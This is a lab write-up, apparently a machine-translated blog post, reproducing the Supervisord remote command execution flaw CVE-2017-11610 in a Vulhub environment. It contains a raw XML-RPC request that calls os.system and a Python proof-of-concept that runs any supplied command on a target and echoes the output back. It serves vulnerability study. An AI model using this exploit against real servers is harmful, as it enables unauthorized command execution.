当前位置:网站首页>Vulhub vulnerability recurrence 67_ Supervisor
Vulhub vulnerability recurrence 67_ Supervisor
2022-07-06 05:16:00 【Revenge_ scan】
CVE-2017-11610_ Supervisord Remote command execution vulnerability
Preface
Supervisor(http://supervisord.org/) Yes, it is Python One developed client/server service , yes Linux/Unix A process management tool under the system , I won't support it Windows System . It's easy to monitor 、 start-up 、 stop it 、 Restart one or more processes .
Reference link :
- https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
- https://blogs.securiteam.com/index.php/archives/3348
-https://github.com/Supervisor/supervisor/commit/90c5df80777bfec03d041740465027f83d22e27b
Vulnerability environment
shooting range :192.168.4.10_ubuntu
#docker-compose build
docker-compose up -d
After the environment starts , visit `http://your-ip:9001` You can view it Supervisord The page of .
Vulnerability testing
Execute arbitrary commands directly :
```
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
```
Container view success Create success
## About direct echo POC
@Ricter An idea put forward on Weibo , Very effective , Is to write the result of the command execution to log In file , Call again Supervisord Self contained readLog Method reading log file , Read the results .
Write a simple POC: [poc.py](poc.py), Post it directly :
```python
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
```
Use Python3 Execute and get the results :`./poc.py "http://your-ip:9001/RPC2" "command"`:
边栏推荐
- Questions d'examen écrit classiques du pointeur
- ISP learning (2)
- Codeforces Round #804 (Div. 2)
- Basic knowledge and examples of binary tree
- Drive development - the first helloddk
- 从0到1建设智能灰度数据体系:以vivo游戏中心为例
- Knowledge points of circular structure
- Rce code and Command Execution Vulnerability
- Yyds dry inventory SSH Remote Connection introduction
- Figure database ongdb release v-1.0.3
猜你喜欢
Postman Association
用StopWatch 统计代码耗时
Codeforces Round #804 (Div. 2) Editorial(A-B)
Class inheritance in yyds dry inventory C
Basic knowledge and examples of binary tree
ISP learning (2)
Codeforces Round #804 (Div. 2)
Huawei equipment is configured with OSPF and BFD linkage
图数据库ONgDB Release v-1.0.3
Summary of redis basic knowledge points
随机推荐
Class inheritance in yyds dry inventory C
组播和广播的知识点梳理
RT thread analysis log system RT_ Kprintf analysis
idea一键导包
[NOIP2008 提高组] 笨小猴
指針經典筆試題
Hometown 20 years later (primary school exercises)
Why does MySQL need two-phase commit
關於Unity Inspector上的一些常用技巧,一般用於編輯器擴展或者其他
[classic example] binary tree recursive structure classic topic collection @ binary tree
Sorting out the knowledge points of multicast and broadcasting
Codeforces Round #804 (Div. 2) Editorial(A-B)
Mysql高级篇学习总结9:创建索引、删除索引、降序索引、隐藏索引
图论的扩展
2021 robocom world robot developer competition - undergraduate group (semi-finals)
饼干(考试版)
用StopWatch 统计代码耗时
On the solution of es8316's audio burst
Hyperledger Fabric2. Some basic concepts of X (1)
Zynq learning notes (3) - partial reconfiguration